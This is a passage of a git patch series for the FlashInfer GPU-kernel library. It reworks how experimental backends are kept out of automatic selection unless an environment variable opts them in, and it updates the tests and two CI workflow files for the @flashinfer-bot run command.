+@backend_requirement( + backend_checks={"cutlass": _check_cutlass, "sm12x_cute": check_sm12x_cute}, + heuristic_func=_heuristic_mm_bf16, +) +@flashinfer_api +def mm_bf16(a, b, out=None, backend="auto"): + if backend == "auto": + backend = mm_bf16.suitable_auto_backends[0] + if backend == "sm12x_cute": + from ..experimental.sm12x_gemm import run # deferred import + return run(a, b, out) + ... +``` -if backend == "experimental_xyz": - require_experimental("op_name experimental_xyz backend") - from .experimental.xyz import run # deferred import - return run(...) +For hand-rolled `"auto"` routing (no `@backend_requirement`), guard only the +automatic branch: + +```python +from .api_logging import require_experimental_auto_backends + +if backend == "auto" and candidate == "experimental_xyz": + require_experimental_auto_backends("op_name -> experimental_xyz") ``` +See README.md for the full worked example and the resulting behavior table. + ## Requirements for every feature - Named owner + tracking issue (use case, reason, graduation plan/target; @@ -79,7 +120,7 @@ if backend == "experimental_xyz": | Register in `flashinfer/aot.py` | Prohibited | | Export in `flashinfer/__init__.py` | Optional; must be lazy if added | | Tests | Required, under `tests/experimental/` | -| Docs | Must state experimental status, gate, and limitations | +| Docs | Must state experimental status, how to opt in, and limitations | Everything else (JIT module structure, framework separation of `include/`/`csrc/`, coding style) follows the root `CLAUDE.md`. diff --git a/flashinfer/experimental/README.md b/flashinfer/experimental/README.md index e1618d952c3..0d81c2212a6 100644 --- a/flashinfer/experimental/README.md +++ b/flashinfer/experimental/README.md @@ -53,42 +53,58 @@ implementation's maturity — this keeps removal a one-directory deletion. ## Feature gating -All experimental behavior requires: +Using experimental functionality is always an **explicit, visible opt-in**. +There are two explicit forms, and neither needs an environment variable: + +- calling a function marked `@flashinfer_experimental_api`; +- naming an experimental backend in a stable API, e.g. `backend="sm12x_cute"`. + +Both emit an `ExperimentalWarning` once (per API, or per API/backend pair). + +What is gated is **automatic selection**. A stable API called with +`backend="auto"` — including the dispatch heuristics and autotuning behind +it — may pick an experimental backend only when the user opts in with: ```bash -export FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1 +export FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS=1 ``` -**Without** this opt-in: - -- experimental APIs raise `RuntimeError` when called; -- stable APIs must not select experimental backends; -- automatic routing (backend dispatch, autotuning, trace-apply substitution) - must consider only stable backends. +Without it, automatic selection considers only stable backends, and a call +whose only viable candidates are experimental fails with a +`BackendSupportedError` that names the variable and suggests passing +`backend=` explicitly. With it, experimental backends join the candidate list, +and an `ExperimentalWarning` is emitted once per API/backend pair when one is +picked. -**The environment variable is the single opt-in.** With it set, stable APIs -may route to experimental backends automatically: backend dispatch, -autotuning, and trace-apply substitution may consider experimental backends -alongside stable ones. Setting the flag is consent to experimental behavior -wherever it applies; an explicit `backend=` argument remains available to -force a specific backend but is not required. +Trace-apply is outside this gate: experimental backends are not required to +support trace, and a trace-apply solution is the deployer's explicit choice. Importing `flashinfer.experimental` is always allowed so that tooling, docs, -and introspection work without the flag; the gate is enforced at call time. +and introspection work; nothing is enforced at import time. ### Gating primitives -Defined in `flashinfer/api_logging.py` and re-exported from +Defined in `flashinfer/api_logging.py` (`experimental_backend` lives in +`flashinfer/utils.py` next to `backend_requirement`), all re-exported from `flashinfer.experimental`: -- `@flashinfer_experimental_api(trace=..., feature=...)` - — marks a public experimental API. Composes with `@flashinfer_api` - (logging/dump/trace still work), enforces the gate, emits an - `ExperimentalWarning` once per process, and sets `is_experimental = True` - for mechanical identification. -- `require_experimental(feature)` — call in the thin core entry point of a - stable API before handing off to an experimental backend. -- `is_experimental_enabled()` — raw gate check. +- `@flashinfer_experimental_api(trace=..., feature=...)` — marks a public + experimental API. Composes with `@flashinfer_api` (logging/dump/trace still + work), emits an `ExperimentalWarning` once on first use, and sets + `is_experimental = True` for mechanical identification. It does **not** + consult the environment variable: calling the API is the opt-in. +- `@experimental_backend` — marks a `@backend_requirement` checker as an + experimental backend. `backend="auto"` skips it unless the variable is set; + explicit `backend=""` always works and warns once; the name appears in + `.experimental_backends`. A checker defined under + `flashinfer.experimental` without this marker makes `@backend_requirement` + raise `ValueError` at import time. +- `require_experimental_auto_backends(feature)` — for stable APIs that route + `backend="auto"` by hand (without `@backend_requirement`): call it in the + automatic-routing branch before handing off to an experimental backend. +- `experimental_auto_backends_allowed()` — raw check of the variable. +- `warn_experimental_backend_once(api, backend)` — the once-per-pair warning, + for hand-rolled dispatch that selects an experimental backend explicitly. ### Adding an experimental API (new public function) @@ -106,25 +122,81 @@ def my_new_op(x, ...): return run(x, ...) ``` -The decorator enforces the gate (`RuntimeError` when off), warns once per -process (`ExperimentalWarning`), and sets `is_experimental = True`. +Calling `my_new_op` is the opt-in. The decorator warns once per process +(`ExperimentalWarning`) and sets `is_experimental = True`; no environment +variable is involved. Note that the function body is exactly the **thin core entry point** from the selected design: shared validation, then a deferred (function-local) import and a direct handoff to `flashinfer.experimental`. Everything backend-specific stays under `flashinfer/experimental/`, and the deferred -import keeps `import flashinfer` from ever loading experimental code. +import keeps `import flashinfer` from ever loading experimental kernels. ### Exposing an experimental backend from a stable API -In the stable API's dispatch — behind an explicit `backend=` value or an -automatic-routing branch — guard the handoff with `require_experimental`: +Worked example: a hypothetical SM12x CuTe GEMM backend behind the stable +`mm_bf16`. The experimental package declares its own support checker and +marks it. The support module must stay **lightweight** — dtype, shape, and +compute-capability logic only, no kernel or JIT imports — because core imports +it at module load so that `@backend_requirement` can register the backend: + +```python +# flashinfer/experimental/sm12x_gemm/support.py +import torch +from flashinfer.utils import supported_compute_capability +from flashinfer.experimental import experimental_backend + +@experimental_backend +@supported_compute_capability([120, 121]) +def check_sm12x_cute(a, b, out=None, backend="auto"): + return a.dtype == torch.bfloat16 and a.shape[-1] % 64 == 0 +``` + +The core entry point registers it like any other backend. Nothing else in +core changes shape, and the kernel import stays deferred: + +```python +# flashinfer/gemm/gemm_base.py +from ..experimental.sm12x_gemm.support import check_sm12x_cute # checker only + +@backend_requirement( + backend_checks={ + "cutlass": _check_cutlass, + "cudnn": _check_cudnn, + "sm12x_cute": check_sm12x_cute, # experimental: auto skips it unless opted in + }, + heuristic_func=_heuristic_mm_bf16, +) +@flashinfer_api +def mm_bf16(a, b, out=None, backend="auto"): + if backend == "auto": + backend = mm_bf16.suitable_auto_backends[0] + if backend == "sm12x_cute": + from ..experimental.sm12x_gemm import run # deferred import + return run(a, b, out) + ... +``` + +Resulting behavior: + +| Call | Variable unset | `FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS=1` | +|---|---|---| +| `mm_bf16(a, b)` | candidates: cutlass, cudnn | may include `sm12x_cute`; warns once if picked | +| `mm_bf16(a, b, backend="sm12x_cute")` | runs; warns once for (mm_bf16, sm12x_cute) | same | + +Autotuned APIs tune over `mm_bf16.suitable_auto_backends`, so the same filter +keeps experimental backends out of autotuning while the variable is unset. + +Stable APIs that route `"auto"` by hand (no `@backend_requirement`) apply the +same rule with the helper — only on the automatic branch, never on the +explicit one: ```python -from .api_logging import require_experimental +from .api_logging import require_experimental_auto_backends -if backend == "experimental_xyz": - require_experimental("op_name experimental_xyz backend") +if backend == "auto" and candidate == "experimental_xyz": + require_experimental_auto_backends("op_name -> experimental_xyz") +if candidate == "experimental_xyz": from .experimental.xyz import run # deferred import return run(...) ``` @@ -221,9 +293,12 @@ Relative to the "Adding a New Operation" checklist in the root `CLAUDE.md`: ## Containment rules -- Core must not import from `flashinfer.experimental`, except inside a - sanctioned thin entry point, and then only via a deferred (function-local) - import. +- Core must not import from `flashinfer.experimental` at module level, with + one narrow exception: the lightweight *support module* that defines an + `@experimental_backend` checker may be imported so `@backend_requirement` + can register the backend. Kernels, JIT specs, and heavy dependencies are + reached only through a deferred (function-local) import inside a sanctioned + thin entry point. - `flashinfer/__init__.py` must not eagerly import `flashinfer.experimental` (import cost; experimental code may depend on optional packages). - Code under `flashinfer/experimental/` may import freely from core. @@ -232,7 +307,7 @@ Relative to the "Adding a New Operation" checklist in the root `CLAUDE.md`: not interfere with environments where experimental features are turned off: autotune caches and `trace_apply` configurations containing experimental tactics must be safely skippable by loaders — falling back to - stable tactics — when the gate is off or the feature has been removed. + stable tactics — when `FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS` is unset or the feature has been removed. ### Isolation from stable tests and checks diff --git a/flashinfer/experimental/__init__.py b/flashinfer/experimental/__init__.py index 6d674de10fd..2c344a3c354 100644 --- a/flashinfer/experimental/__init__.py +++ b/flashinfer/experimental/__init__.py @@ -22,24 +22,30 @@ # experimental APIs live in core, marked with @flashinfer_experimental_api; # only thin entry points in core may hand off to this package. # -# Everything here is gated behind FLASHINFER_ENABLE_EXPERIMENTAL_FEATURES=1, -# provides no compatibility guarantees, and may change or be removed without -# deprecation. Importing this module is always allowed (so tooling and docs -# can introspect it); the gate is enforced at call time. +# Everything here provides no compatibility guarantees and may change or be +# removed without deprecation. Using it is an explicit opt-in: calling an +# @flashinfer_experimental_api function, or naming an experimental backend +# with backend="". Only *automatic* selection (backend="auto") is gated, +# behind FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS=1. Importing this module +# is always allowed (so tooling and docs can introspect it). # # See README.md in this directory for the full policy, and CLAUDE.md for # agent-facing contribution rules. from ..api_logging import ( ExperimentalWarning, + experimental_auto_backends_allowed, flashinfer_experimental_api, - is_experimental_enabled, - require_experimental, + require_experimental_auto_backends, + warn_experimental_backend_once, ) +from ..utils import experimental_backend __all__ = [ "ExperimentalWarning", + "experimental_auto_backends_allowed", + "experimental_backend", "flashinfer_experimental_api", - "is_experimental_enabled", - "require_experimental", + "require_experimental_auto_backends", + "warn_experimental_backend_once", ] diff --git a/flashinfer/utils.py b/flashinfer/utils.py index 730b1a23123..c3e2f55f51d 100644 --- a/flashinfer/utils.py +++ b/flashinfer/utils.py @@ -29,6 +29,10 @@ from torch.torch_version import __version__ as torch_version import inspect +from .api_logging import ( + experimental_auto_backends_allowed, + warn_experimental_backend_once, +) from .jit.spdlog import gen_spdlog_module logger = logging.getLogger(__name__) @@ -1182,6 +1186,39 @@ def is_cc_supported(cc): return decorator +def experimental_backend(checker: Callable) -> Callable: + """Mark a ``@backend_requirement`` checker as belonging to an experimental backend. + + Stacks with :func:`supported_compute_capability`. Inside + :func:`backend_requirement` the marker has three effects: + + - ``backend="auto"`` skips the backend unless + ``FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS=1``. Autotuning is covered + by the same filter, because it tunes over the candidate list this + produces (``.suitable_auto_backends``). + - Explicit ``backend=""`` always works -- naming the backend *is* the + opt-in -- and emits an ``ExperimentalWarning`` once per (API, backend). + - The backend is listed in ``.experimental_backends``. + + A checker whose module lives under ``flashinfer.experimental`` must carry + this marker: ``backend_requirement`` raises ``ValueError`` at decoration + time otherwise, so a forgotten marker fails at import rather than by + silently entering automatic selection. + + See ``flashinfer/experimental/README.md`` for the policy and a full + worked example. + + Examples + -------- + >>> @experimental_backend + ... @supported_compute_capability([120, 121]) + ... def check_sm12x_cute(a, b, out=None, backend="auto"): + ... return a.dtype == torch.bfloat16 and a.shape[-1] % 64 == 0 + """ + checker.is_experimental = True # type: ignore[attr-defined] + return checker + + def backend_requirement( backend_checks: Dict[str, Callable], common_check: Optional[Callable] = None, @@ -1223,6 +1260,15 @@ def backend_requirement( A decorator function that wraps the target function with validation logic, and inserts the "skip_check" keyword argument to the function. + Experimental backends + --------------------- + Checkers marked with :func:`experimental_backend` are excluded from + ``backend="auto"`` selection (and therefore from autotuning) unless + ``FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS=1``. Selecting one explicitly + with ``backend=""`` always works and emits an ``ExperimentalWarning`` + once per (API, backend). Their names are exposed as + ``.experimental_backends``. + Attributes Added to Decorated Function --------------------------------------- is_backend_supported : callable @@ -1293,6 +1339,27 @@ def decorator(func): # Get the function signature once for reuse sig = inspect.signature(func) + # Backends whose checker carries @experimental_backend. Placement is the + # backstop: a checker defined under flashinfer.experimental without the + # marker is a policy violation, caught here at import time rather than + # by silently entering automatic selection. + experimental_backends = frozenset( + name + for name, checker in backend_checks.items() + if getattr(checker, "is_experimental", False) + ) + for name, checker in backend_checks.items(): + module = getattr(checker, "__module__", "") or "" + if ( + module.startswith("flashinfer.experimental") + and name not in experimental_backends + ): + raise ValueError( + f"@backend_requirement on {func.__name__}: checker for backend " + f"'{name}' is defined under flashinfer.experimental but is not " + f"marked @experimental_backend" + ) + def is_backend_supported(backend, cc=None): # No backend-specific checks if not has_backend_choices(): @@ -1370,11 +1437,25 @@ def suitable_auto_backends(cc, *args, **kwargs): suitable_backends.append(backend) except ValueError: continue + # Experimental backends enter automatic selection only with the + # explicit opt-in. Autotuning tunes over this same list, so the + # filter covers it too. Remember what was dropped for the error hint. + dropped = [b for b in suitable_backends if b in experimental_backends] + if dropped and not experimental_auto_backends_allowed(): + suitable_backends = [ + b for b in suitable_backends if b not in experimental_backends + ] + else: + dropped = [] + wrapper.dropped_experimental_backends = dropped # If a heuristic function is provided, filter the suitable backends based on the heuristic function assert heuristic_func is not None, "Heuristic function must be provided" suitable_backends = heuristic_func(suitable_backends, *args, **kwargs) if not suitable_backends: return False + for b in suitable_backends: + if b in experimental_backends: + warn_experimental_backend_once(func.__name__, b, automatic=True) wrapper.suitable_auto_backends = suitable_backends return True @@ -1425,8 +1506,17 @@ def wrapper(*args, **kwargs): if not suitable_auto_backends( capability, **kwargs_with_defaults ): + dropped = wrapper.dropped_experimental_backends + hint = ( + f" (experimental backend(s) {sorted(dropped)} were " + f"excluded from automatic selection; set " + f"FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS=1 to " + f"include them, or pass backend= explicitly)" + if dropped + else "" + ) raise BackendSupportedError( - f"No suitable auto backends found for {func.__name__}" + f"No suitable auto backends found for {func.__name__}{hint}" ) else: if not is_backend_supported(backend, capability): @@ -1440,6 +1530,9 @@ def wrapper(*args, **kwargs): raise ValueError( f"Problem size is not supported for {func.__name__}" ) + if backend in experimental_backends: + # Explicit selection is the opt-in; just make it visible. + warn_experimental_backend_once(func.__name__, backend) else: # If the function doesnt have backends (i.e., there is only 1, implicit backend), run the following checks. if not is_compute_capability_supported(capability): @@ -1450,11 +1543,14 @@ def wrapper(*args, **kwargs): raise ValueError( f"Problem size is not supported for {func.__name__}" ) - elif skip_check and heuristic_func is not None: - if kwargs.get("backend") == "auto": + elif skip_check: + backend = kwargs.get("backend") + if backend == "auto" and heuristic_func is not None: # This needs to be called for heuristic function capability = _get_capability(*args, **kwargs) suitable_auto_backends(capability, *args, **kwargs) + elif backend in experimental_backends: + warn_experimental_backend_once(func.__name__, backend) return func(*args, **kwargs) @@ -1462,6 +1558,8 @@ def wrapper(*args, **kwargs): wrapper.is_compute_capability_supported = is_compute_capability_supported wrapper.has_backend = has_backend wrapper.has_backend_choices = has_backend_choices + wrapper.experimental_backends = experimental_backends + wrapper.dropped_experimental_backends = [] return wrapper return decorator diff --git a/tests/experimental/test_experimental_api.py b/tests/experimental/test_experimental_api.py index 06c553ef790..51cc49a22a6 100644 --- a/tests/experimental/test_experimental_api.py +++ b/tests/experimental/test_experimental_api.py @@ -14,21 +14,35 @@ limitations under the License. """ -# Tests for the experimental-feature gating primitives -# (@flashinfer_experimental_api, require_experimental). CPU-only; no GPU or -# JIT compilation required. +# Tests for the experimental-feature primitives: @flashinfer_experimental_api, +# @experimental_backend inside @backend_requirement, and the +# FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS gate on automatic selection. +# CPU-only; no GPU or JIT compilation required. import warnings import pytest +import flashinfer.api_logging as api_logging from flashinfer.api_logging import ( - _EXPERIMENTAL_ENV_VAR, + _EXPERIMENTAL_AUTO_ENV_VAR, ExperimentalWarning, + experimental_auto_backends_allowed, flashinfer_experimental_api, - is_experimental_enabled, - require_experimental, + require_experimental_auto_backends, ) +from flashinfer.utils import ( + BackendSupportedError, + backend_requirement, + experimental_backend, +) + + +@pytest.fixture(autouse=True) +def _reset_gate(monkeypatch): + # Gate off and no remembered warnings, so every test starts from the same state. + monkeypatch.delenv(_EXPERIMENTAL_AUTO_ENV_VAR, raising=False) + monkeypatch.setattr(api_logging, "_WARNED_EXPERIMENTAL_BACKENDS", set()) def _make_add(): @@ -40,21 +54,12 @@ def sample_add(x, y): return sample_add -def test_gate_off_raises(monkeypatch): - monkeypatch.delenv(_EXPERIMENTAL_ENV_VAR, raising=False) - sample_add = _make_add() - with pytest.raises(RuntimeError, match=_EXPERIMENTAL_ENV_VAR): - sample_add(1, 2) +# -------------------------------------------------------------------------- +# @flashinfer_experimental_api: calling it is the opt-in +# -------------------------------------------------------------------------- -def test_gate_off_for_non_one_values(monkeypatch): - for value in ("0", "", "true", "yes"): - monkeypatch.setenv(_EXPERIMENTAL_ENV_VAR, value) - assert not is_experimental_enabled() - - -def test_gate_on_runs_and_warns_once(monkeypatch): - monkeypatch.setenv(_EXPERIMENTAL_ENV_VAR, "1") +def test_experimental_api_runs_without_env_var_and_warns_once(): sample_add = _make_add() with pytest.warns(ExperimentalWarning, match="sample_add"): @@ -66,54 +71,170 @@ def test_gate_on_runs_and_warns_once(monkeypatch): assert sample_add(3, 4) == 7 -def test_mechanical_identification(monkeypatch): +def test_decorator_with_arguments(): + @flashinfer_experimental_api(feature="my_feature") + def sample_mul(x, y): + return x * y + + assert sample_mul.experimental_feature == "my_feature" + with pytest.warns(ExperimentalWarning, match="my_feature"): + assert sample_mul(2, 3) == 6 + + +def test_mechanical_identification(): sample_add = _make_add() assert sample_add.is_experimental is True assert sample_add.experimental_feature.endswith("sample_add") assert "experimental" in sample_add.__doc__ + # The banner no longer claims an environment variable is required. + assert _EXPERIMENTAL_AUTO_ENV_VAR not in sample_add.__doc__ # Original docstring is preserved after the banner. assert "Add two values." in sample_add.__doc__ -def test_decorator_with_arguments(monkeypatch): - monkeypatch.delenv(_EXPERIMENTAL_ENV_VAR, raising=False) +def test_original_function_is_marked_for_registry_filtering(): + def raw(x): + return x - @flashinfer_experimental_api(feature="my_feature") - def sample_mul(x, y): - return x * y + decorated = flashinfer_experimental_api(raw) + # The trace registry stores the original, so the flag must live there too. + assert raw.is_experimental is True + assert decorated.is_experimental is True - assert sample_mul.experimental_feature == "my_feature" - with pytest.raises(RuntimeError, match="my_feature"): - sample_mul(2, 3) - monkeypatch.setenv(_EXPERIMENTAL_ENV_VAR, "1") - with pytest.warns(ExperimentalWarning, match="my_feature"): - assert sample_mul(2, 3) == 6 +# -------------------------------------------------------------------------- +# The environment variable gates automatic selection only +# -------------------------------------------------------------------------- + + +def test_gate_accepts_only_one(monkeypatch): + assert not experimental_auto_backends_allowed() + for value in ("0", "", "true", "yes"): + monkeypatch.setenv(_EXPERIMENTAL_AUTO_ENV_VAR, value) + assert not experimental_auto_backends_allowed() + monkeypatch.setenv(_EXPERIMENTAL_AUTO_ENV_VAR, "1") + assert experimental_auto_backends_allowed() -def test_require_experimental(monkeypatch): - monkeypatch.delenv(_EXPERIMENTAL_ENV_VAR, raising=False) - with pytest.raises(RuntimeError, match="some backend"): - require_experimental("some backend") +def test_require_experimental_auto_backends(monkeypatch): + with pytest.raises(RuntimeError, match=_EXPERIMENTAL_AUTO_ENV_VAR): + require_experimental_auto_backends("some_api -> some backend") - monkeypatch.setenv(_EXPERIMENTAL_ENV_VAR, "1") - require_experimental("some backend") # must not raise + monkeypatch.setenv(_EXPERIMENTAL_AUTO_ENV_VAR, "1") + require_experimental_auto_backends("some_api -> some backend") # must not raise def test_experimental_namespace_reexports(): import flashinfer.experimental as fe assert fe.flashinfer_experimental_api is flashinfer_experimental_api - assert fe.require_experimental is require_experimental - assert fe.is_experimental_enabled is is_experimental_enabled + assert fe.experimental_backend is experimental_backend + assert fe.require_experimental_auto_backends is require_experimental_auto_backends + assert fe.experimental_auto_backends_allowed is experimental_auto_backends_allowed assert fe.ExperimentalWarning is ExperimentalWarning -def test_original_function_is_marked_for_registry_filtering(): - def raw(x): - return x +# -------------------------------------------------------------------------- +# @experimental_backend inside @backend_requirement +# -------------------------------------------------------------------------- - decorated = flashinfer_experimental_api(raw) - # The trace registry stores the original, so the flag must live there too. - assert raw.is_experimental is True - assert decorated.is_experimental is True + +def _any_cc(checker): + # Test inputs carry no tensor, so backend_requirement sees capability=None; + # accept it so the CC check is not what decides these tests. + checker.is_compute_capability_supported = lambda cc: True + return checker + + +def _make_api(*, prefer_experimental=True, stable=True): + @_any_cc + def _check_stable(x, backend="auto"): + return True + + @experimental_backend + @_any_cc + def _check_risky(x, backend="auto"): + return True + + def _heuristic(backends, *args, **kwargs): + order = ["risky", "stable"] if prefer_experimental else ["stable", "risky"] + return [b for b in order if b in backends] + + checks = {"risky": _check_risky} + if stable: + checks["stable"] = _check_stable + + @backend_requirement(checks, heuristic_func=_heuristic) + def api(x, backend="auto"): + if backend == "auto": + backend = api.suitable_auto_backends[0] + return backend + + return api + + +def test_marker_sets_flag_and_is_listed(): + api = _make_api() + assert api.experimental_backends == frozenset({"risky"}) + assert api.is_backend_supported("risky") is True # explicit use is allowed + + +def test_auto_excludes_experimental_backend_when_gate_off(): + api = _make_api() + with warnings.catch_warnings(): + warnings.simplefilter("error", ExperimentalWarning) + assert api(1) == "stable" + assert api.suitable_auto_backends == ["stable"] + assert api.dropped_experimental_backends == ["risky"] + + +def test_auto_includes_experimental_backend_when_gate_on(monkeypatch): + monkeypatch.setenv(_EXPERIMENTAL_AUTO_ENV_VAR, "1") + api = _make_api() + with pytest.warns(ExperimentalWarning, match="risky.*automatically"): + assert api(1) == "risky" + assert api.suitable_auto_backends == ["risky", "stable"] + # Once per (api, backend) pair. + with warnings.catch_warnings(): + warnings.simplefilter("error", ExperimentalWarning) + assert api(1) == "risky" + + +def test_auto_with_only_experimental_candidates_hints_at_env_var(): + api = _make_api(stable=False) + with pytest.raises(BackendSupportedError, match=_EXPERIMENTAL_AUTO_ENV_VAR): + api(1) + + +def test_explicit_experimental_backend_needs_no_env_var_and_warns_once(): + api = _make_api() + with pytest.warns(ExperimentalWarning, match="risky.*selected for 'api'"): + assert api(1, backend="risky") == "risky" + with warnings.catch_warnings(): + warnings.simplefilter("error", ExperimentalWarning) + assert api(1, backend="risky") == "risky" + assert api(1, backend="risky", skip_check=True) == "risky" + assert api(1, backend="stable") == "stable" # stable never warns + + +def test_backstop_rejects_unmarked_checker_under_experimental_package(): + @_any_cc + def _check_unmarked(x, backend="auto"): + return True + + _check_unmarked.__module__ = "flashinfer.experimental.fake.support" + + with pytest.raises(ValueError, match="not marked @experimental_backend"): + + @backend_requirement({"fake": _check_unmarked}) + def api(x, backend="fake"): + return backend + + # Marked, the same checker is accepted. + experimental_backend(_check_unmarked) + + @backend_requirement({"fake": _check_unmarked}) + def api_ok(x, backend="fake"): + return backend + + assert api_ok.experimental_backends == frozenset({"fake"}) diff --git a/tests/utils/test_decorators.py b/tests/utils/test_decorators.py index f8659c2e44e..9e99089145f 100644 --- a/tests/utils/test_decorators.py +++ b/tests/utils/test_decorators.py @@ -4,6 +4,7 @@ from flashinfer.utils import ( supported_compute_capability, backend_requirement, + experimental_backend, BackendSupportedError, ) @@ -493,3 +494,38 @@ def my_kernel(x, backend="cudnn"): result2 = my_kernel(x, backend="cutlass") assert result2.shape == x.shape assert torch.allclose(result2, x * 2) + + +def test_experimental_backend_excluded_from_auto_unless_allowed(monkeypatch): + """@experimental_backend checkers stay out of backend="auto" without the opt-in.""" + monkeypatch.delenv("FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS", raising=False) + + def _check_stable(x, backend="auto"): + return True + + @experimental_backend + def _check_risky(x, backend="auto"): + return True + + # No tensor inputs here, so capability is None; accept it explicitly. + for checker in (_check_stable, _check_risky): + checker.is_compute_capability_supported = lambda cc: True + + def _prefer_risky(backends, *args, **kwargs): + return [b for b in ("risky", "stable") if b in backends] + + @backend_requirement( + {"stable": _check_stable, "risky": _check_risky}, heuristic_func=_prefer_risky + ) + def my_kernel(x, backend="auto"): + return my_kernel.suitable_auto_backends[0] if backend == "auto" else backend + + assert my_kernel.experimental_backends == frozenset({"risky"}) + assert my_kernel(1) == "stable" # gate off: experimental skipped + + # Explicit selection is always allowed; the first use of the pair warns once. + with pytest.warns(UserWarning, match="risky"): + assert my_kernel(1, backend="risky") == "risky" + + monkeypatch.setenv("FLASHINFER_ALLOW_EXPERIMENTAL_AUTO_BACKENDS", "1") + assert my_kernel(1) == "risky" # gate on: heuristic may pick it From aa43b391187e3630ddb5dcadd017ec0ed1f924a2 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Thu, 3 Sep 2026 21:59:26 -0600 Subject: [PATCH 18/41] fix(ci): bind COMMENT_BODY in the @flashinfer-bot run handler Step-level `env` does not cross steps. COMMENT_BODY was bound only in `Parse command`, so the run handler read it as empty: ARGS was always empty, and every `@flashinfer-bot run ` published an empty scope and started the default suite instead of the requested one. Bind it on the handler step as well. It stays an environment variable rather than an interpolated `${{ }}` value, so the comment body reaches the script as data and never as script text. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- .github/workflows/ci-bot-commands.yml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/.github/workflows/ci-bot-commands.yml b/.github/workflows/ci-bot-commands.yml index 7b2c40d800b..9b1a8a3625a 100644 --- a/.github/workflows/ci-bot-commands.yml +++ b/.github/workflows/ci-bot-commands.yml @@ -116,6 +116,10 @@ jobs: if: steps.check-permission.outputs.authorized == 'true' && steps.parse.outputs.command == 'run' env: GH_TOKEN: ${{ secrets.FLASHINFER_BOT_TOKEN }} + # Step-level env does not cross steps, so the comment body has to be bound + # here too -- `Parse command` binding it is not enough. Passed through the + # environment rather than interpolated into the script, so the body is data. + COMMENT_BODY: ${{ github.event.comment.body }} run: | # `@flashinfer-bot run ` mirrors GitLab's `/bot run TEST_PATH`, so the # two systems present one convention. A label carries no payload, so the paths From 9e2de79f1dfc014ea251a0d541b970c03fc30620 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Thu, 3 Sep 2026 22:02:00 -0600 Subject: [PATCH 19/41] fix(ci): emit the targeted lanes instead of an empty matrix The targeted block was nested inside a branch guarded by `[ -z "${REQUESTED_TEST_PATH}" ]` while itself requiring `-n` on the same variable, so it could never be reached. A scoped run therefore emitted no GPU jobs at all and reported green -- the false-green failure mode the scope validator's own docstring warns about, arrived at from the other direction. Make the two branches alternatives of one condition rather than nesting one inside the other, so exactly one of "default shards" and "targeted lanes" runs, and SKIP_GPU still suppresses both. Verified by extracting the matrix generator and running it: - no scope -> 7 jobs (A10G x5, T4, H100), as before - scope requested -> 3 Targeted Unittest jobs carrying test_path - SKIP_GPU=true -> 0 jobs, with or without a scope Note this bug and the missing COMMENT_BODY binding were masking each other: with the scope permanently empty, the targeted branch never triggered. Fixing the binding alone would have turned every scoped run into a zero-job pass, so the two fixes belong together. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- .github/workflows/pr-test.yml | 58 +++++++++++++++++------------------ 1 file changed, 28 insertions(+), 30 deletions(-) diff --git a/.github/workflows/pr-test.yml b/.github/workflows/pr-test.yml index 9d56477528a..6f0ca93c31c 100644 --- a/.github/workflows/pr-test.yml +++ b/.github/workflows/pr-test.yml @@ -244,7 +244,7 @@ jobs: script: "task_run_unit_tests.sh", timeout: 480 }' - + elif [ "$SKIP_GPU" != "true" ]; then # A `@flashinfer-bot run ` comment retargets the GPU lanes at those # paths. There is deliberately no arch selection: tests carry their own # arch guards (is_sm90a_supported() and friends) and skip themselves where @@ -260,35 +260,33 @@ jobs: # This step does NOT parse the PR body. Turning a declared scope into paths # happens once, in whoever issues the trigger (a reviewer, or the screening # watcher posting under its own identity). CI runs what it is told. - if [ -n "${REQUESTED_TEST_PATH}" ]; then - jq -nc --arg test_path "${REQUESTED_TEST_PATH}" '{ - name: "Targeted Unittest (A10G)", - kind: "gpu", - runner: ["self-hosted", "linux", "x64", "gpu", "sm86", "on-demand"], - cuda: "cu129", - script: "task_run_unit_tests.sh", - test_path: $test_path, - timeout: 360 - }' - jq -nc --arg test_path "${REQUESTED_TEST_PATH}" '{ - name: "Targeted Unittest (T4)", - kind: "gpu", - runner: ["self-hosted", "linux", "x64", "gpu", "sm75", "on-demand"], - cuda: "cu129", - script: "task_run_unit_tests.sh", - test_path: $test_path, - timeout: 360 - }' - jq -nc --arg test_path "${REQUESTED_TEST_PATH}" '{ - name: "Targeted Unittest (H100)", - kind: "h100", - runner: ["self-hosted", "linux", "x64", "gpu", "h100"], - cuda: "cu129", - script: "task_run_unit_tests.sh", - test_path: $test_path, - timeout: 480 - }' - fi + jq -nc --arg test_path "${REQUESTED_TEST_PATH}" '{ + name: "Targeted Unittest (A10G)", + kind: "gpu", + runner: ["self-hosted", "linux", "x64", "gpu", "sm86", "on-demand"], + cuda: "cu129", + script: "task_run_unit_tests.sh", + test_path: $test_path, + timeout: 360 + }' + jq -nc --arg test_path "${REQUESTED_TEST_PATH}" '{ + name: "Targeted Unittest (T4)", + kind: "gpu", + runner: ["self-hosted", "linux", "x64", "gpu", "sm75", "on-demand"], + cuda: "cu129", + script: "task_run_unit_tests.sh", + test_path: $test_path, + timeout: 360 + }' + jq -nc --arg test_path "${REQUESTED_TEST_PATH}" '{ + name: "Targeted Unittest (H100)", + kind: "h100", + runner: ["self-hosted", "linux", "x64", "gpu", "h100"], + cuda: "cu129", + script: "task_run_unit_tests.sh", + test_path: $test_path, + timeout: 480 + }' fi } | jq -sc '{include: .}' > matrix.json From 6b91c92e9723c3cc6b6dd0396df8b6ff8420e83a Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Thu, 3 Sep 2026 22:05:03 -0600 Subject: [PATCH 20/41] test(ci): run tests/experimental/ in the stable lane tests/experimental/test_experimental_api.py did not run anywhere: pytest.ini's norecursedirs keeps 